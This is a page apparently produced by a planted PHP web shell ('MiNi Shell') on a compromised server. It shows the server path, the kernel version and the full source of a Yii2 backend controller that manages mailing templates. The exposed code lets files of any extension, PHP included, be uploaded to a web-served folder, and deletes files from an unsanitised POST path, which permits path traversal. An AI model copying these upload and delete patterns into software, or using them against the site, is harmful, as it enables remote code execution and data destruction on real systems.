Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/
Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Current File : /home/vmanager/www/backend/controllers/MailingscontentsController.php
<?php

namespace backend\controllers;

use Yii;
use yii\helpers\ArrayHelper;
use common\models\MailingsContents;
use backend\models\MailingsContentsSearch;
use backend\models\CompaniesSearch;
use common\models\Portals;
use common\models\UsersContactData;
use common\models\types\ContactDataType;
use common\models\types\Status;
use common\models\Mailings;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\AccessControl;

/**
 * MailingscontentsController implements the CRUD actions for MailingsContents model.
 */
class MailingscontentsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    ['allow' => true, 'actions' => ['create'], 'roles' => ['createMailingsContents']],
                    ['allow' => true, 'actions' => ['update', 'file-delete', 'file-upload', 'send-test'], 'roles' => ['updateMailingsContents']],
                    ['allow' => true, 'actions' => ['delete'], 'roles' => ['deleteMailingsContents']],
                    ['allow' => true, 'actions' => ['index'], 'roles' => ['indexMailingsContents']],
                    ['allow' => true, 'actions' => ['view'], 'roles' => ['viewMailingsContents']],
                    ['allow' => true, 'actions' => ['companies-list'], 'roles' => ['createMailingsContents', 'updateMailingsContents']],
                ]
            ]
        ];
    }

    /**
     * Lists all MailingsContents models.
     * @return mixed
     */
    public function actionIndex()
    {
        $searchModel = new MailingsContentsSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single MailingsContents model.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        $this->layout = false;
        
        $idPortal = intval(Yii::$app->request->get('id_portal'));        
        $modelPortal = Portals::findOne($idPortal);
        $mailingFullDir = $model->getDir(true);    
        
        if(empty($mailingFullDir) || !file_exists($mailingFullDir.'/index.php') || empty($idPortal)) {
            echo Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.');
            exit;
        }

        $mailingDir = $model->getDir();
        $outputParams = [
            'modelPortal' => $modelPortal,
            'idMailing' => null,
            'mailingDirName' => $mailingDir,
            'orEmbedImages' => false,
            'orConvertUrls' => false,
        ];
                
        
        return $this->render('@mailingsUrl/'.$mailingDir.'/index', $outputParams);
    }

    /**
     * Creates a new MailingsContents model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {
        $model = new MailingsContents(['scenario' => 'create']);

        $outputParams = [
            'model' => $model
        ];
        
        if(Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company']);
        }
        
        if(Yii::$app->request->getIsPost()) {   
//            var_dump($_POST); exit;
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }
            
            if($model->save(false)) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['update', 'id' => $model->id_content]);
            } else {                
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing MailingsContents model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id);
        
        $files = [];
        $mailingDirName = $model->getDir();
        if(file_exists(Yii::getAlias('@mailingsUrl/'.$mailingDirName))) {
            $directoryIterator = new \DirectoryIterator(Yii::getAlias('@mailingsUrl/'.$mailingDirName));
            foreach($directoryIterator as $item) {
                if($item->isFile() && !in_array($item->getExtension(), ['php', 'PHP'])) {
                    $filename = $item->getBasename();
                    
                    $extension = strtolower($item->getExtension());
                    
                    $file = [
                        'key' => $filename,
//                        'data' => Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$imageFilename),
                        'filename' => $filename,
                        'size' => $item->getSize(),
//                        'type' => $type,
                        'as_data' => true
                    ];
                    
                    switch($extension) {
                        case 'jpg':
                        case 'jpeg':
                        case 'png':
                        case 'gif':
                        case 'bmp':
                            $file['type'] = 'image';
                            $file['data'] = Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$filename);
                            break;
                        case 'txt':
                            $file['type'] = 'text';
                            $file['data'] = file_get_contents(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename));
                            $file['as_data'] = false;
                            break;
                        case 'pdf':
                            $file['type'] = 'pdf';
                            $file['data'] = Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$filename);
                            break;
                        case 'doc':
                        case 'docx':
                        case 'docm':
                        case 'xls':
                        case 'xlsx':
                        case 'xlsm':
                        case 'xlr':
                        case 'ppt':
                        case 'pptx':
                        case 'ppsx':                            
                            $file['type'] = 'office';
                            $file['data'] = Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$filename);
                            break;
                        case 'html':
                            $file['type'] = 'html';
                            $file['data'] = file_get_contents(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename));
                            $file['as_data'] = false;
                            break;
                    }
                    
                    $files[] = $file;
                }
            }
        }
        
        $loggedUserEmail = UsersContactData::find()
            ->select(['data_value'])
            ->where([
                'id_user' => Yii::$app->user->getId(),
                'required' => 1,
                'data_type' => ContactDataType::EMAIL
            ])
            ->scalar();
        
        $modelsMailings = Mailings::find()->where(['id_content' => $model->id_content])->all();
        if(!empty($modelsMailings)) {
            $idsPortals = [];
            foreach($modelsMailings as $modelMailing) {
                $filters = $modelMailing->getSettingsKey('filters');
                if(!empty($filters['portals'])) {
                    foreach($filters['portals'] as $idPortal) {
                        $idsPortals[intval($idPortal)] = intval($idPortal);
                    }
                }
            }
            $portalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->where(['id_portal' => array_values($idsPortals)])->asArray()->all(), 'id_portal', 'domain');
            unset($idsPortals, $modelsMailings);
        } else {
            $portalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->where(['status' => Status::ACTIVE])->asArray()->all(), 'id_portal', 'domain');
        }
        
        $outputParams = [
            'model' => $model,
            'files' => $files,
            'loggedUserEmail' => $loggedUserEmail,
            'portalsList' => $portalsList
        ];
        
        if(Yii::$app->request->getIsPost()) {
            
            $model->html_code = Yii::$app->request->post('code');
            $model->label = Yii::$app->request->post('label');
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }
            
            if($model->save(false)) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['update', 'id' => $model->id_content]);
            } else {                
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('update', $outputParams);
    }
    
    public function actionSendTest($id)
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $idPortal = intval(Yii::$app->request->post('id_portal'));
        $email = Yii::$app->request->post('email');
        
        if(!Yii::$app->request->getIsPost() || empty($idPortal) || empty($email)) {
            return Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.');
        }
        
        $model = $this->findModel($id);
        
        $mailingFullDir = $model->getDir(true);
        if(!empty($mailingFullDir) && !file_exists($mailingFullDir.'/index.php')) {
            return Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.');
        }
                    
        $modelPortal = Portals::findOne($idPortal);            
        $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
        if(empty($smtpSettings)) {
            return Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.');
        }

        $mailer = Yii::$app->mailer;
        $mailer->viewPath = '@mailingsUrl/';
        $mailer->useFileTransport = false;
        $mailer->htmlLayout = false;
        $mailer->textLayout = false;
        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
            ->setUsername($smtpSettings['username'])
            ->setPassword($smtpSettings['password']);

        $mailingDir = $model->getDir();
        $message = $mailer->compose(
            $mailingDir.'/index',
            [
                'modelPortal' => $modelPortal,
                'idMailing' => null,
                'mailingDirName' => $mailingDir,
                'orEmbedImages' => true,
                'orConvertUrls' => false,
            ]
        );
        $message->setSubject($model->label.' - '.$modelPortal->domain);
        $message->setFrom([$smtpSettings['username'] => $smtpSettings['username']]);
        $message->setTo([$email => $email]);
        $flag = $message->send();
        if($flag === false) {
            return Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.');
        }
        
        return true;
    }
    
    public function actionFileDelete($id) 
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(!Yii::$app->request->getIsPost()) { 
            return [
                'error' => Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.')
            ];
        }
        
        $model = MailingsContents::findOne($id);
        if($model === null) {
            return [
                'error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')
            ];
        }
       
        $filename = Yii::$app->request->post('key');
        if(empty($filename)) {
            return [
                'error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')
            ];
        }
        $mailingDirName = $model->getDir();

        if(!file_exists(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename))) {
            return [
                'error' => Yii::t('backend', 'Wybrany element nie istnieje.')
            ];
        } 

        $flag = unlink(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename));
        if(!$flag) {
            return [
                'error' => Yii::t('backend', 'Błąd podczas usuwania danych.')
            ];
        }
        
        return [];
    }
    
    public function actionFileUpload($id) 
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(!Yii::$app->request->getIsPost()) { 
            return [
                'error' => Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.')
            ];
        }
        
        $model = MailingsContents::findOne($id);
        if($model === null) {
            return [
                'error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')
            ];
        }
       
        $mailingDirName = $model->getDir();

        if(!file_exists(Yii::getAlias('@mailingsUrl/'.$mailingDirName))) {
            return [
                'error' => Yii::t('backend', 'Wybrany element nie istnieje.')
            ];
        }
        
        $file = \yii\web\UploadedFile::getInstancesByName('files');
        if(!empty($file)) {
            if(is_array($file) && isset($file[0])) {
                $file = $file[0];
            }
            $filename = $file->baseName.'.'.$file->extension;
            $extension = strtolower($file->extension);
            
            if(!$file->saveAs(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename))) {
                return [
                    'error' => Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')
                ];
            } 
            
            $file = [
                'key' => $filename,
                'filename' => $filename,
                'size' => filesize(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename)),
                'as_data' => true
            ];
            
            switch($extension) {
                case 'jpg':
                case 'jpeg':
                case 'png':
                case 'gif':
                case 'bmp':
                    $file['type'] = 'image';
                    $file['data'] = Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$filename);
                    list($imageWidth, $imageHeight) = getimagesize(Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$filename));
                    $file['dimensions'] = $imageWidth.'x'.$imageHeight.' px';
                    $file['button_copy_html'] = '<button type="button" class="vjs-copy-image-html-button btn btn-sm btn-kv btn-default btn-outline-secondary" title="Kopiuj kod HTML" data-src="'.Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$file['filename']).'" data-width="'.$imageWidth.'" data-height="'.$imageHeight.'"><i class="glyphicon glyphicon-duplicate"></i></button>';                    
                    break;
                case 'txt':
                    $file['type'] = 'text';
                    $file['data'] = file_get_contents(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename));
                    $file['as_data'] = false;
                    break;
                case 'pdf':
                    $file['type'] = 'pdf';
                    $file['data'] = Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$filename);
                    break;
                case 'doc':
                case 'docx':
                case 'docm':
                case 'xls':
                case 'xlsx':
                case 'xlsm':
                case 'xlr':
                case 'ppt':
                case 'pptx':
                case 'ppsx':                            
                    $file['type'] = 'office';
                    $file['data'] = Yii::getAlias('@mailingsAbsoluteUrl/'.$mailingDirName.'/'.$filename);
                    break;
                case 'html':
                    $file['type'] = 'html';
                    $file['data'] = file_get_contents(Yii::getAlias('@mailingsUrl/'.$mailingDirName.'/'.$filename));
                    $file['as_data'] = false;
                    break;
            }
            
            $output = [
                'initialPreview' => [$file['data']],
                'initialPreviewConfig' => [[
                    'caption' => $file['filename'], 
                    'size' => $file['size'], 
                    'type' => $file['type'], 
                    'previewAsData' => $file['as_data'], 
                    'key' => $file['key']
                ]],
                'initialPreviewThumbTags' => [[
                    '{DIMENSIONS}' => !empty($file['dimensions']) ? $file['dimensions'] : '',
                    '{BUTTON_COPY_HTML}' => !empty($file['button_copy_html']) ? $file['button_copy_html'] : '',
                ]],
//                'append' => true
            ];
            
//            $output = [];

            return $output;
            
        } else {
            return [
                'error' => Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.')
            ];
        }
        
        return [];
    }

    /**
     * Deletes an existing MailingsContents model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);

        if ($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect(['index', 'id' => $model->id_content]);
    }

    public function actionCompaniesList()
    {
        $searchModel = new CompaniesSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    /**
     * Finds the MailingsContents model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return MailingsContents the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = MailingsContents::findOne($id)) !== null) {
            return $model;
        }

        throw new NotFoundHttpException('The requested page does not exist.');
    }
}
Creat By MiNi SheLL
Email: jattceo@gmail.com